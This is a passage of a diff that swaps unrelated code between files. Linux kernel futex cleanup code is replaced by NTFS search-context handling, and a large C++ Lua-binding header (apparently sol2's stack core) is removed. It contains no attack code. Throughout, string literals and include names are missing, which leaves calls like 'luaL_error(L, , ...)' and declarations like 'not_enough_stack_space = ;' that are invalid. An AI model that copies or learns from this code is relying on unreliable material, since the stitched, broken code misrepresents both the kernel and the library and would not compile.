(old_ctx.base_ntfs_ino && + old_ctx.ntfs_ino != + old_ctx.base_ntfs_ino) { +retry_map: + ctx->mrec = map_mft_record( + old_ctx.ntfs_ino); + /* + * Something bad has happened. If out + * of memory retry till it succeeds. + * Any other errors are fatal and we + * return the error code in ctx->mrec. + * Let the caller deal with it... We + * just need to fudge things so the + * caller can reinit and/or put the + * search context safely. + */ + if (IS_ERR(ctx->mrec)) { + if (PTR_ERR(ctx->mrec) == + -ENOMEM) { + schedule(); + goto retry_map; + } else + old_ctx.ntfs_ino = + old_ctx. + base_ntfs_ino; + } + } + } + /* Update the changed pointers in the saved context. */ + if (ctx->mrec != old_ctx.mrec) { + if (!IS_ERR(ctx->mrec)) + old_ctx.attr = (ATTR_RECORD*)( + (u8*)ctx->mrec + + ((u8*)old_ctx.attr - + (u8*)old_ctx.mrec)); + old_ctx.mrec = ctx->mrec; + } } - - WARN_ON(pi_state->owner != curr); - WARN_ON(list_empty(&pi_state->list)); - list_del_init(&pi_state->list); - pi_state->owner = NULL; - - raw_spin_unlock(&curr->pi_lock); - raw_spin_unlock_irq(&pi_state->pi_mutex.wait_lock); - spin_unlock(&hb->lock); - - rt_mutex_futex_unlock(&pi_state->pi_mutex); - put_pi_state(pi_state); - - raw_spin_lock_irq(&curr->pi_lock); + /* Restore the search context to the saved one. */ + *ctx = old_ctx; + /* + * We drop the reference on the page we took earlier. In the + * case that IS_ERR(ctx->mrec) is true this means we might lose + * some changes to the mft record that had been made between + * the last time it was marked dirty/written out and now. This + * at this stage is not a problem as the mapping error is fatal + * enough that the mft record cannot be written out anyway and + * the caller is very likely to shutdown the whole inode + * immediately and mark the volume dirty for chkdsk to pick up + * the pieces anyway. + */ + if (put_this_page) + put_page(put_this_page); } - raw_spin_unlock_irq(&curr->pi_lock); -} -#else -static inline void exit_pi_state_list(struct task_struct *curr) { } -#endif - -static void futex_cleanup(struct task_struct *tsk) -{ - if (unlikely(tsk->robust_list)) { - exit_robust_list(tsk); - tsk->robust_list = NULL; - } - -#ifdef CONFIG_COMPAT - if (unlikely(tsk->compat_robust_list)) { - compat_exit_robust_list(tsk); - tsk->compat_robust_list = NULL; - } -#endif - - if (unlikely(!list_empty(&tsk->pi_state_list))) - exit_pi_state_list(tsk); -} -void futex_exit_recursive(struct task_struct *tsk) -{ - /* If the state is FUTEX_STATE_EXITING then futex_exit_mutex is held */ - if (tsk->futex_state == FUTEX_STATE_EXITING) - mutex_unlock(&tsk->futex_exit_mutex); - tsk->futex_state = FUTEX_STATE_DEAD; -} - -static void futex_cleanup_begin(struct task_struct *tsk) -{ - raw_spin_lock_irq(&tsk->pi_lock); - tsk->futex_state = FUTEX_STATE_EXITING; - raw_spin_unlock_irq(&tsk->pi_lock); -} - -static void futex_cleanup_end(struct task_struct *tsk, int state) -{ - /* - * Lockless store. The only side effect is that an observer might - * take another loop until it becomes visible. - */ - tsk->futex_state = state; - /* - * Drop the exit protection. This unblocks waiters which observed - * FUTEX_STATE_EXITING to reevaluate the state. - */ - mutex_unlock(&tsk->futex_exit_mutex); -} - -void futex_exec_release(struct task_struct *tsk) -{ - futex_cleanup_begin(tsk); - futex_cleanup(tsk); - /* - * Reset the state to FUTEX_STATE_OK. The task is alive and about - * exec a new binary. - */ - futex_cleanup_end(tsk, FUTEX_STATE_OK); -} - -void futex_exit_release(struct task_struct *tsk) -{ - futex_cleanup_begin(tsk); - futex_cleanup(tsk); - futex_cleanup_end(tsk, FUTEX_STATE_DEAD); -} - -static int __init futex_init(void) -{ - unsigned int futex_shift; - unsigned long i; - -#if CONFIG_BASE_SMALL - futex_hashsize = 16; -#else - futex_hashsize = roundup_pow_of_two(256 * num_possible_cpus()); -#endif - - futex_queues = alloc_large_system_hash(, sizeof(*futex_queues), - futex_hashsize, 0, 0, - &futex_shift, NULL, - futex_hashsize, futex_hashsize); - futex_hashsize = 1UL << futex_shift; - - for (i = 0; i < futex_hashsize; i++) { - atomic_set(&futex_queues[i].waiters, 0); - plist_head_init(&futex_queues[i].chain); - spin_lock_init(&futex_queues[i].lock); - } - - return 0; -} -core_initcall(futex_init); \ No newline at end of file + return err; +} \ No newline at end of file diff --git a/ref_cpp b/ref_cpp index 986fe28..eac8c52 100644 --- a/ref_cpp +++ b/ref_cpp @@ -1,3826 +1,58 @@ - -#ifndef SOL_STACK_CORE_HPP -#define SOL_STACK_CORE_HPP - -#include -#include -#include +#include #include -#include -#include -#include -#include -#include - -namespace sol { - namespace detail { - struct with_function_tag { }; - struct as_reference_tag { }; - template - struct as_pointer_tag { }; - template - struct as_value_tag { }; - template - struct as_unique_tag { }; - template - struct as_table_tag { }; - - template - inline constexpr bool is_tagged_v - = meta::is_specialization_of_v || meta::is_specialization_of_v || meta::is_specialization_of_v || meta::is_specialization_of_v || std::is_same_v || std::is_same_v; - - using lua_reg_table = luaL_Reg[64]; - - using unique_destructor = void (*)(void*); - using unique_tag = detail::inheritance_unique_cast_function; - - inline void* alloc_newuserdata(lua_State* L, std::size_t bytesize) { -#if SOL_LUA_VERSION_I_ >= 504 - return lua_newuserdatauv(L, bytesize, 1); -#else - return lua_newuserdata(L, bytesize); -#endif - } - - constexpr std::uintptr_t align(std::size_t alignment, std::uintptr_t ptr, std::size_t& space) { - std::uintptr_t offby = static_cast(ptr % alignment); - std::uintptr_t padding = (alignment - offby) % alignment; - ptr += padding; - space -= padding; - return ptr; - } - - inline void* align(std::size_t alignment, void* ptr, std::size_t& space) { - return reinterpret_cast(align(alignment, reinterpret_cast(ptr), space)); - } - - constexpr std::uintptr_t align_one(std::size_t alignment, std::size_t size, std::uintptr_t ptr) { - std::size_t space = (std::numeric_limits::max)(); - return align(alignment, ptr, space) + size; - } - - template - constexpr std::size_t aligned_space_for(std::uintptr_t ptr) { - std::uintptr_t end = ptr; - ((end = align_one(alignof(Args), sizeof(Args), end)), ...); - return static_cast(end - ptr); - } - - template - constexpr std::size_t aligned_space_for() { - static_assert(sizeof...(Args) > 0); - - constexpr std::size_t max_arg_alignment = (std::max)({ alignof(Args)... }); - if constexpr (max_arg_alignment <= alignof(std::max_align_t)) { - // If all types are `good enough`, simply calculate alignment in case of the worst allocator - std::size_t worst_required_size = 0; - for (std::size_t ptr = 0; ptr < max_arg_alignment; ptr++) { - worst_required_size = (std::max)(worst_required_size, aligned_space_for(ptr)); - } - return worst_required_size; - } - else { - // For over-aligned types let's assume that every Arg in Args starts at the worst aligned address - return (aligned_space_for(0x1) + ...); - } - } - - inline void* align_usertype_pointer(void* ptr) { - using use_align = std::integral_constant::value > 1) -#endif - >; - if (!use_align::value) { - return ptr; - } - std::size_t space = (std::numeric_limits::max)(); - return align(std::alignment_of::value, ptr, space); - } - - template - void* align_usertype_unique_destructor(void* ptr) { - using use_align = std::integral_constant::value > 1) -#endif - >; - if (!pre_aligned) { - ptr = align_usertype_pointer(ptr); - } - if (!pre_shifted) { - ptr = static_cast(static_cast(ptr) + sizeof(void*)); - } - if (!use_align::value) { - return static_cast(static_cast(ptr) + 1); - } - std::size_t space = (std::numeric_limits::max)(); - return align(std::alignment_of::value, ptr, space); - } - - template - void* align_usertype_unique_tag(void* ptr) { - using use_align = std::integral_constant::value > 1) -#endif - >; - if (!pre_aligned) { - ptr = align_usertype_unique_destructor(ptr); - } - if (!pre_shifted) { - ptr = static_cast(static_cast(ptr) + sizeof(unique_destructor)); - } - if (!use_align::value) { - return ptr; - } - std::size_t space = (std::numeric_limits::max)(); - return align(std::alignment_of::value, ptr, space); - } - - template - void* align_usertype_unique(void* ptr) { - typedef std::integral_constant > 1) -#endif - > - use_align; - if (!pre_aligned) { - ptr = align_usertype_unique_tag(ptr); - } - if (!pre_shifted) { - ptr = static_cast(static_cast(ptr) + sizeof(unique_tag)); - } - if (!use_align::value) { - return ptr; - } - std::size_t space = (std::numeric_limits::max)(); - return align(std::alignment_of_v, ptr, space); - } - - template - void* align_user(void* ptr) { - typedef std::integral_constant > 1) -#endif - > - use_align; - if (!use_align::value) { - return ptr; - } - std::size_t space = (std::numeric_limits::max)(); - return align(std::alignment_of_v, ptr, space); - } - - template - T** usertype_allocate_pointer(lua_State* L) { - typedef std::integral_constant::value > 1) -#endif - > - use_align; - if (!use_align::value) { - T** pointerpointer = static_cast(alloc_newuserdata(L, sizeof(T*))); - return pointerpointer; - } - constexpr std::size_t initial_size = aligned_space_for(); - - std::size_t allocated_size = initial_size; - void* unadjusted = alloc_newuserdata(L, initial_size); - void* adjusted = align(std::alignment_of::value, unadjusted, allocated_size); - if (adjusted == nullptr) { - // trash allocator can burn in hell - lua_pop(L, 1); - // luaL_error(L, "if you are the one that wrote this allocator you should feel bad for doing a - // worse job than malloc/realloc and should go read some books, yeah?"); - luaL_error(L, , detail::demangle().data()); - } - return static_cast(adjusted); - } - - template - T* usertype_allocate(lua_State* L) { - typedef std::integral_constant::value > 1 || std::alignment_of_v > 1) -#endif - > - use_align; - if (!use_align::value) { - T** pointerpointer = static_cast(alloc_newuserdata(L, sizeof(T*) + sizeof(T))); - T*& pointerreference = *pointerpointer; - T* allocationtarget = reinterpret_cast(pointerpointer + 1); - pointerreference = allocationtarget; - return allocationtarget; - } - - constexpr std::size_t initial_size = aligned_space_for(); - - void* pointer_adjusted; - void* data_adjusted; - bool result - = attempt_alloc(L, std::alignment_of_v, sizeof(T*), std::alignment_of_v, initial_size, pointer_adjusted, data_adjusted); - if (!result) { - if (pointer_adjusted == nullptr) { - luaL_error(L, , detail::demangle().c_str()); - } - else { - luaL_error(L, , detail::demangle().c_str()); - } - return nullptr; - } - - T** pointerpointer = reinterpret_cast(pointer_adjusted); - T*& pointerreference = *pointerpointer; - T* allocationtarget = reinterpret_cast(data_adjusted); - pointerreference = allocationtarget; - return allocationtarget; - } - - template - Real* usertype_unique_allocate(lua_State* L, T**& pref, unique_destructor*& dx, unique_tag*& id) { - typedef std::integral_constant::value > 1 || std::alignment_of::value > 1 || std::alignment_of::value > 1 - || std::alignment_of::value > 1) -#endif - > - use_align; - if (!use_align::value) { - pref = static_cast(alloc_newuserdata(L, sizeof(T*) + sizeof(detail::unique_destructor) + sizeof(unique_tag) + sizeof(Real))); - dx = static_cast(static_cast(pref + 1)); - id = static_cast(static_cast(dx + 1)); - Real* mem = static_cast(static_cast(id + 1)); - return mem; - } - - constexpr std::size_t initial_size = aligned_space_for(); - - void* pointer_adjusted = nullptr; - void* dx_adjusted = nullptr; - void* id_adjusted = nullptr; - void* data_adjusted = nullptr; - bool result = attempt_alloc_unique(L, - std::alignment_of_v, - sizeof(T*), - std::alignment_of_v, - initial_size, - pointer_adjusted, - dx_adjusted, - id_adjusted, - data_adjusted); - if (!result) { - if (pointer_adjusted == nullptr) { - luaL_error(L, , detail::demangle().c_str()); - } - else if (dx_adjusted == nullptr) { - luaL_error(L, , detail::demangle().c_str()); - } - else { - luaL_error(L, , detail::demangle().c_str()); - } - return nullptr; - } - - pref = static_cast(pointer_adjusted); - dx = static_cast(dx_adjusted); - id = static_cast(id_adjusted); - Real* mem = static_cast(data_adjusted); - return mem; - } - - template - T* user_allocate(lua_State* L) { - typedef std::integral_constant > 1) -#endif - > - use_align; - if (!use_align::value) { - T* pointer = static_cast(alloc_newuserdata(L, sizeof(T))); - return pointer; - } - - constexpr std::size_t initial_size = aligned_space_for(); - - std::size_t allocated_size = initial_size; - void* unadjusted = alloc_newuserdata(L, allocated_size); - void* adjusted = align(std::alignment_of_v, unadjusted, allocated_size); - if (adjusted == nullptr) { - lua_pop(L, 1); - luaL_error(L, , detail::demangle().data()); - } - return static_cast(adjusted); - } - - template - int usertype_alloc_destroy(lua_State* L) noexcept { - void* memory = lua_touserdata(L, 1); - memory = align_usertype_pointer(memory); - T** pdata = static_cast(memory); - T* data = *pdata; - std::allocator alloc {}; - std::allocator_traits>::destroy(alloc, data); - return 0; - } - - template - int unique_destroy(lua_State* L) noexcept { - void* memory = lua_touserdata(L, 1); - memory = align_usertype_unique_destructor(memory); - unique_destructor& dx = *static_cast(memory); - memory = align_usertype_unique_tag(memory); - (dx)(memory); - return 0; - } - - template - int user_alloc_destroy(lua_State* L) noexcept { - void* memory = lua_touserdata(L, 1); - void* aligned_memory = align_user(memory); - T* typed_memory = static_cast(aligned_memory); - std::allocator alloc; - std::allocator_traits>::destroy(alloc, typed_memory); - return 0; - } - - template - void usertype_unique_alloc_destroy(void* memory) { - void* aligned_memory = align_usertype_unique(memory); - Real* typed_memory = static_cast(aligned_memory); - std::allocator alloc; - std::allocator_traits>::destroy(alloc, typed_memory); - } - - template - int cannot_destroy(lua_State* L) { - return luaL_error(L, - - - , - detail::demangle().data()); - } - - template - void reserve(T&, std::size_t) { - } - - template - void reserve(std::vector& vec, std::size_t hint) { - vec.reserve(hint); - } - - template - void reserve(std::basic_string& str, std::size_t hint) { - str.reserve(hint); - } - - inline bool property_always_true(meta_function) { - return true; - } - - struct properties_enrollment_allowed { - int& times_through; - std::bitset<64>& properties; - automagic_enrollments& enrollments; - - properties_enrollment_allowed(int& times_through_, std::bitset<64>& properties_, automagic_enrollments& enrollments_) - : times_through(times_through_), properties(properties_), enrollments(enrollments_) { - } - - bool operator()(meta_function mf) const { - bool p = properties[static_cast(mf)]; - if (times_through > 0) { - return p; - } - switch (mf) { - case meta_function::length: - return enrollments.length_operator && !p; - case meta_function::pairs: - return enrollments.pairs_operator && !p; - case meta_function::call: - return enrollments.call_operator && !p; - case meta_function::less_than: - return enrollments.less_than_operator && !p; - case meta_function::less_than_or_equal_to: - return enrollments.less_than_or_equal_to_operator && !p; - case meta_function::equal_to: - return enrollments.equal_to_operator && !p; - default: - break; - } - return !p; - } - }; - - struct indexed_insert { - lua_reg_table& registration_table; - int& index; - - indexed_insert(lua_reg_table& registration_table_, int& index_ref_) : registration_table(registration_table_), index(index_ref_) { - } - void operator()(meta_function meta_function_name_, lua_CFunction c_function_) { - registration_table[index] = luaL_Reg { to_string(meta_function_name_).c_str(), c_function_ }; - ++index; - } - }; - } // namespace detail - - namespace stack { - - template - struct field_getter; - template - struct probe_field_getter; - - template - struct field_setter; - - template - struct unqualified_getter; - template - struct qualified_getter; - - template - struct qualified_interop_getter; - template - struct unqualified_interop_getter; - - template - struct popper; - - template - struct unqualified_pusher; - - template - struct unqualified_checker; - template - struct qualified_checker; - - template - struct unqualified_check_getter; - template - struct qualified_check_getter; - - struct probe { - bool success; - int levels; - - probe(bool s, int l) : success(s), levels(l) { - } - - operator bool() const { - return success; - }; - }; - - struct record { - int last; - int used; - - record() noexcept : last(), used() { - } - void use(int count) noexcept { - last = count; - used += count; - } - }; - - namespace stack_detail { - template - Function* get_function_pointer(lua_State*, int, record&) noexcept; - template - bool check_function_pointer(lua_State* L, int index, Handler&& handler, record& tracking) noexcept; - } // namespace stack_detail - - } // namespace stack - - - namespace stack { - namespace stack_detail { - constexpr const char* not_enough_stack_space = ; - constexpr const char* not_enough_stack_space_floating = ; - constexpr const char* not_enough_stack_space_integral = ; - constexpr const char* not_enough_stack_space_string = ; - constexpr const char* not_enough_stack_space_meta_function_name = ; - constexpr const char* not_enough_stack_space_userdata = ; - constexpr const char* not_enough_stack_space_generic = ; - constexpr const char* not_enough_stack_space_environment = ; - - template - struct strip { - typedef T type; - }; - template - struct strip> { - typedef T& type; - }; - template - struct strip> { - typedef T& type; - }; - template - struct strip> { - typedef T type; - }; - template - using strip_t = typename strip::type; - - template - static int get_size_hint(C& c) { - return static_cast(c.size()); - } - - template - static int get_size_hint(const std::forward_list&) { - // forward_list makes me sad - return static_cast(32); - } - - template - decltype(auto) unchecked_unqualified_get(lua_State* L, int index, record& tracking) { - using Tu = meta::unqualified_t; - if constexpr (meta::meta_detail::is_adl_sol_lua_get_v) { - return sol_lua_get(types(), L, index, tracking); - } - else { - unqualified_getter g {}; - return g.get(L, index, tracking); - } - } - - template - decltype(auto) unchecked_get(lua_State* L, int index, record& tracking) { - if constexpr (meta::meta_detail::is_adl_sol_lua_get_v) { - return sol_lua_get(types(), L, index, tracking); - } - else { - qualified_getter g {}; - return g.get(L, index, tracking); - } - } - - template - decltype(auto) unqualified_interop_get(lua_State* L, int index, void* unadjusted_pointer, record& tracking) { - using Tu = meta::unqualified_t; - if constexpr (meta::meta_detail::is_adl_sol_lua_interop_get_v) { - return sol_lua_interop_get(types(), L, index, unadjusted_pointer, tracking); - } - else { - (void)L; - (void)index; - (void)unadjusted_pointer; - (void)tracking; - using Ti = stack_detail::strip_t; - return std::pair { false, nullptr }; - } - } - - template - decltype(auto) interop_get(lua_State* L, int index, void* unadjusted_pointer, record& tracking) { - if constexpr (meta::meta_detail::is_adl_sol_lua_interop_get_v) { - return sol_lua_interop_get(types(), L, index, unadjusted_pointer, tracking); - } - else { - return unqualified_interop_get(L, index, unadjusted_pointer, tracking); - } - } - - template - bool unqualified_interop_check(lua_State* L, int index, type index_type, Handler&& handler, record& tracking) { - using Tu = meta::unqualified_t; - if constexpr (meta::meta_detail::is_adl_sol_lua_interop_check_v) { - return sol_lua_interop_check(types(), L, index, index_type, std::forward(handler), tracking); - } - else { - (void)L; - (void)index; - (void)index_type; - (void)handler; - (void)tracking; - return false; - } - } - - template - bool interop_check(lua_State* L, int index, type index_type, Handler&& handler, record& tracking) { - if constexpr (meta::meta_detail::is_adl_sol_lua_interop_check_v) { - return sol_lua_interop_check(types(), L, index, index_type, std::forward(handler), tracking); - } - else { - return unqualified_interop_check(L, index, index_type, std::forward(handler), tracking); - } - } - - using undefined_method_func = void (*)(stack_reference); - - struct undefined_metatable { - lua_State* L; - const char* key; - undefined_method_func on_new_table; - - undefined_metatable(lua_State* l, const char* k, undefined_method_func umf) : L(l), key(k), on_new_table(umf) { - } - - void operator()() const { - if (luaL_newmetatable(L, key) == 1) { - on_new_table(stack_reference(L, -1)); - } - lua_setmetatable(L, -2); - } - }; - } // namespace stack_detail - - inline bool maybe_indexable(lua_State* L, int index = -1) { - type t = type_of(L, index); - return t == type::userdata || t == type::table; - } - - inline int top(lua_State* L) { - return lua_gettop(L); - } - - inline bool is_main_thread(lua_State* L) { - int ismainthread = lua_pushthread(L); - lua_pop(L, 1); - return ismainthread == 1; - } - - inline void coroutine_create_guard(lua_State* L) { - if (is_main_thread(L)) { - return; - } - int stacksize = lua_gettop(L); - if (stacksize < 1) { - return; - } - if (type_of(L, 1) != type::function) { - return; - } - // well now we're screwed... - // we can clean the stack and pray it doesn't destroy anything? - lua_pop(L, stacksize); - } - - inline void clear(lua_State* L, int table_index) { - lua_pushnil(L); - while (lua_next(L, table_index) != 0) { - // remove value - lua_pop(L, 1); - // duplicate key to protect form rawset - lua_pushvalue(L, -1); - // push new value - lua_pushnil(L); - // table_index%[key] = nil - lua_rawset(L, table_index); - } - } - - inline void clear(reference& r) { - auto pp = push_pop(r); - int stack_index = pp.index_of(r); - clear(r.lua_state(), stack_index); - } - - inline void clear(stack_reference& r) { - clear(r.lua_state(), r.stack_index()); - } - - inline void clear(lua_State* L_, stateless_reference& r) { - r.push(L_); - int stack_index = absolute_index(L_, -1); - clear(L_, stack_index); - r.pop(L_); - } - - inline void clear(lua_State* L_, stateless_stack_reference& r) { - clear(L_, r.stack_index()); - } - - template - int push(lua_State* L, T&& t, Args&&... args) { - using Tu = meta::unqualified_t; - if constexpr (meta::meta_detail::is_adl_sol_lua_push_exact_v) { - return sol_lua_push(types(), L, std::forward(t), std::forward(args)...); - } - else if constexpr (meta::meta_detail::is_adl_sol_lua_push_exact_v) { - return sol_lua_push(types(), L, std::forward(t), std::forward(args)...); - } - else if constexpr (meta::meta_detail::is_adl_sol_lua_push_v) { - return sol_lua_push(L, std::forward(t), std::forward(args)...); - } - else { - unqualified_pusher p {}; - return p.push(L, std::forward(t), std::forward(args)...); - } - } - - // overload allows to use a pusher of a specific type, but pass in any kind of args - template ::value>> - int push(lua_State* L, Arg&& arg, Args&&... args) { - using Tu = meta::unqualified_t; - if constexpr (meta::meta_detail::is_adl_sol_lua_push_exact_v) { - return sol_lua_push(types(), L, std::forward(arg), std::forward(args)...); - } - else if constexpr (meta::meta_detail::is_adl_sol_lua_push_exact_v) { - return sol_lua_push(types(), L, std::forward(arg), std::forward(args)...); - } - else if constexpr (meta::meta_detail::is_adl_sol_lua_push_v && !detail::is_tagged_v) { - return sol_lua_push(L, std::forward(arg), std::forward(args)...); - } - else { - unqualified_pusher p {}; - return p.push(L, std::forward(arg), std::forward(args)...); - } - } - - template - int push_userdata(lua_State* L, T&& t, Args&&... args) { - using U = meta::unqualified_t; - using Tr = meta::conditional_t, - detail::as_pointer_tag>, - meta::conditional_t, detail::as_unique_tag, detail::as_value_tag>>; - return stack::push(L, std::forward(t), std::forward(args)...); - } - - template - int push_userdata(lua_State* L, Arg&& arg, Args&&... args) { - using U = meta::unqualified_t; - using Tr = meta::conditional_t, - detail::as_pointer_tag>, - meta::conditional_t, detail::as_unique_tag, detail::as_value_tag>>; - return stack::push(L, std::forward(arg), std::forward(args)...); - } - - namespace stack_detail { - - template - int push_reference(lua_State* L, Arg&& arg, Args&&... args) { - // clang-format off - using use_reference_tag = - meta::all< - meta::neg> -#if SOL_IS_OFF(SOL_FUNCTION_CALL_VALUE_SEMANTICS) - , std::is_lvalue_reference, - meta::neg>>, - meta::neg>>, - meta::neg>> -#endif - >; - // clang-format on - using Tr = meta::conditional_t>; - return stack::push(L, std::forward(arg), std::forward(args)...); - } - - } // namespace stack_detail - - template - int push_reference(lua_State* L, T&& t, Args&&... args) { - return stack_detail::push_reference(L, std::forward(t), std::forward(args)...); - } - - template - int push_reference(lua_State* L, Arg&& arg, Args&&... args) { - return stack_detail::push_reference(L, std::forward(arg), std::forward(args)...); - } - - inline int multi_push(lua_State*) { - // do nothing - return 0; - } - - template - int multi_push(lua_State* L, T&& t, Args&&... args) { - int pushcount = push(L, std::forward(t)); - void(detail::swallow { (pushcount += stack::push(L, std::forward(args)), 0)... }); - return pushcount; - } - - inline int multi_push_reference(lua_State*) { - // do nothing - return 0; - } - - template - int multi_push_reference(lua_State* L, T&& t, Args&&... args) { - int pushcount = stack::push_reference(L, std::forward(t)); - void(detail::swallow { (pushcount += stack::push_reference(L, std::forward(args)), 0)... }); - return pushcount; - } - - template - bool unqualified_check(lua_State* L, int index, Handler&& handler, record& tracking) { - using Tu = meta::unqualified_t; - if constexpr (meta::meta_detail::is_adl_sol_lua_check_v) { - return sol_lua_check(types(), L, index, std::forward(handler), tracking); - } - else { - unqualified_checker> c{}; - return c.check(L, index, std::forward(handler), tracking); - } - } - - template - bool unqualified_check(lua_State* L, int index, Handler&& handler) { - record tracking {}; - return unqualified_check(L, index, std::forward(handler), tracking); - } - - template - bool unqualified_check(lua_State* L, int index = -lua_size>::value) { - auto handler = &no_panic; - return unqualified_check(L, index, handler); - } - - template - bool check(lua_State* L, int index, Handler&& handler, record& tracking) { - if constexpr (meta::meta_detail::is_adl_sol_lua_check_v) { - return sol_lua_check(types(), L, index, std::forward(handler), tracking); - } - else { - using Tu = meta::unqualified_t; - qualified_checker> c{}; - return c.check(L, index, std::forward(handler), tracking); - } - } - - template - bool check(lua_State* L, int index, Handler&& handler) { - record tracking {}; - return check(L, index, std::forward(handler), tracking); - } - - template - bool check(lua_State* L, int index = -lua_size>::value) { - auto handler = &no_panic; - return check(L, index, handler); - } - - template - bool check_usertype(lua_State* L, int index, type, Handler&& handler, record& tracking) { - using Tu = meta::unqualified_t; - using detail_t = meta::conditional_t, detail::as_pointer_tag, detail::as_value_tag>; - return check(L, index, std::forward(handler), tracking); - } - - template - bool check_usertype(lua_State* L, int index, Handler&& handler, record& tracking) { - using Tu = meta::unqualified_t; - using detail_t = meta::conditional_t, detail::as_pointer_tag, detail::as_value_tag>; - return check(L, index, std::forward(handler), tracking); - } - - template - bool check_usertype(lua_State* L, int index, Handler&& handler) { - record tracking {}; - return check_usertype(L, index, std::forward(handler), tracking); - } - - template - bool check_usertype(lua_State* L, int index = -lua_size>::value) { - auto handler = &no_panic; - return check_usertype(L, index, handler); - } - - template - decltype(auto) unqualified_check_get(lua_State* L, int index, Handler&& handler, record& tracking) { - using Tu = meta::unqualified_t; - if constexpr (meta::meta_detail::is_adl_sol_lua_check_get_v) { - return sol_lua_check_get(types(), L, index, std::forward(handler), tracking); - } - else if constexpr (meta::meta_detail::is_adl_sol_lua_check_get_v) { - return sol_lua_check_get(types(), L, index, std::forward(handler), tracking); - } - else { - unqualified_check_getter cg {}; - return cg.get(L, index, std::forward(handler), tracking); - } - } - - template - decltype(auto) unqualified_check_get(lua_State* L, int index, Handler&& handler) { - record tracking {}; - return unqualified_check_get(L, index, handler, tracking); - } - - template - decltype(auto) unqualified_check_get(lua_State* L, int index = -lua_size>::value) { - auto handler = &no_panic; - return unqualified_check_get(L, index, handler); - } - - template - decltype(auto) check_get(lua_State* L, int index, Handler&& handler, record& tracking) { - if constexpr (meta::meta_detail::is_adl_sol_lua_check_get_v) { - return sol_lua_check_get(types(), L, index, std::forward(handler), tracking); - } - else { - qualified_check_getter cg {}; - return cg.get(L, index, std::forward(handler), tracking); - } - } - - template - decltype(auto) check_get(lua_State* L, int index, Handler&& handler) { - record tracking {}; - return check_get(L, index, handler, tracking); - } - - template - decltype(auto) check_get(lua_State* L, int index = -lua_size>::value) { - auto handler = &no_panic; - return check_get(L, index, handler); - } - - namespace stack_detail { - - template - bool check_types(lua_State*, int, Handler&&, record&) { - return true; - } - - template - bool check_types(lua_State* L, int firstargument, Handler&& handler, record& tracking) { - if (!stack::check(L, firstargument + tracking.used, handler, tracking)) - return false; - return check_types(L, firstargument, std::forward(handler), tracking); - } - - template - bool check_types(types, lua_State* L, int index, Handler&& handler, record& tracking) { - return check_types(L, index, std::forward(handler), tracking); - } - - } // namespace stack_detail - - template - bool multi_check(lua_State* L, int index, Handler&& handler, record& tracking) { - return stack_detail::check_types(L, index, std::forward(handler), tracking); - } - - template - bool multi_check(lua_State* L, int index, Handler&& handler) { - record tracking {}; - return multi_check(L, index, std::forward(handler), tracking); - } - - template - bool multi_check(lua_State* L, int index) { - return multi_check(L, index); - } - - template - auto unqualified_get(lua_State* L, int index, record& tracking) -> decltype(stack_detail::unchecked_unqualified_get(L, index, tracking)) { -#if SOL_IS_ON(SOL_SAFE_GETTER) - static constexpr bool is_op = meta::is_optional_v; - if constexpr (is_op) { - return stack_detail::unchecked_unqualified_get(L, index, tracking); - } - else { - if (is_lua_reference::value) { - return stack_detail::unchecked_unqualified_get(L, index, tracking); - } - auto op = unqualified_check_get(L, index, type_panic_c_str, tracking); - return *std::move(op); - } -#else - return stack_detail::unchecked_unqualified_get(L, index, tracking); -#endif - } - - template - decltype(auto) unqualified_get(lua_State* L, int index = -lua_size>::value) { - record tracking {}; - return unqualified_get(L, index, tracking); - } - - template - auto get(lua_State* L, int index, record& tracking) -> decltype(stack_detail::unchecked_get(L, index, tracking)) { -#if SOL_IS_ON(SOL_SAFE_GETTER) - static constexpr bool is_op = meta::is_optional_v; - if constexpr (is_op) { - return stack_detail::unchecked_get(L, index, tracking); - } - else { - if (is_lua_reference::value) { - return stack_detail::unchecked_get(L, index, tracking); - } - auto op = check_get(L, index, type_panic_c_str, tracking); - return *std::move(op); - } -#else - return stack_detail::unchecked_get(L, index, tracking); -#endif - } - - template - decltype(auto) get(lua_State* L, int index = -lua_size>::value) { - record tracking {}; - return get(L, index, tracking); - } - - template - decltype(auto) get_usertype(lua_State* L, int index, record& tracking) { - using UT = meta::conditional_t::value, detail::as_pointer_tag>, detail::as_value_tag>; - return get(L, index, tracking); - } - - template - decltype(auto) get_usertype(lua_State* L, int index = -lua_size_v>) { - record tracking {}; - return get_usertype(L, index, tracking); - } - - template - decltype(auto) pop(lua_State* L) { - return popper {}.pop(L); - } - - template - void get_field(lua_State* L, Key&& key) { - field_getter, global, raw> {}.get(L, std::forward(key)); - } - - template - void get_field(lua_State* L, Key&& key, int tableindex) { - field_getter, global, raw> {}.get(L, std::forward(key), tableindex); - } - - template - void raw_get_field(lua_State* L, Key&& key) { - get_field(L, std::forward(key)); - } - - template - void raw_get_field(lua_State* L, Key&& key, int tableindex) { - get_field(L, std::forward(key), tableindex); - } - - template - probe probe_get_field(lua_State* L, Key&& key) { - return probe_field_getter, C, global, raw> {}.get(L, std::forward(key)); - } - - template - probe probe_get_field(lua_State* L, Key&& key, int tableindex) { - return probe_field_getter, C, global, raw> {}.get(L, std::forward(key), tableindex); - } - - template - probe probe_raw_get_field(lua_State* L, Key&& key) { - return probe_get_field(L, std::forward(key)); - } - - template - probe probe_raw_get_field(lua_State* L, Key&& key, int tableindex) { - return probe_get_field(L, std::forward(key), tableindex); - } - - template - void set_field(lua_State* L, Key&& key, Value&& value) { - field_setter, global, raw> {}.set(L, std::forward(key), std::forward(value)); - } - - template - void set_field(lua_State* L, Key&& key, Value&& value, int tableindex) { - field_setter, global, raw> {}.set(L, std::forward(key), std::forward(value), tableindex); - } - - template - void raw_set_field(lua_State* L, Key&& key, Value&& value) { - set_field(L, std::forward(key), std::forward(value)); - } - - template - void raw_set_field(lua_State* L, Key&& key, Value&& value, int tableindex) { - set_field(L, std::forward(key), std::forward(value), tableindex); - } - - template - void modify_unique_usertype_as(const stack_reference& obj, F&& f) { - void* raw = lua_touserdata(obj.lua_state(), obj.stack_index()); - void* ptr_memory = detail::align_usertype_pointer(raw); - void* uu_memory = detail::align_usertype_unique(raw); - T& uu = *static_cast(uu_memory); - f(uu); - *static_cast(ptr_memory) = static_cast(detail::unique_get(obj.lua_state(), uu)); - } - - template - void modify_unique_usertype(const stack_reference& obj, F&& f) { - using bt = meta::bind_traits>; - using T = typename bt::template arg_at<0>; - using Tu = meta::unqualified_t; - modify_unique_usertype_as(obj, std::forward(f)); - } - - namespace stack_detail { - template - decltype(auto) check_get_arg(lua_State* L_, int index_, Handler&& handler_, record& tracking_) { - if 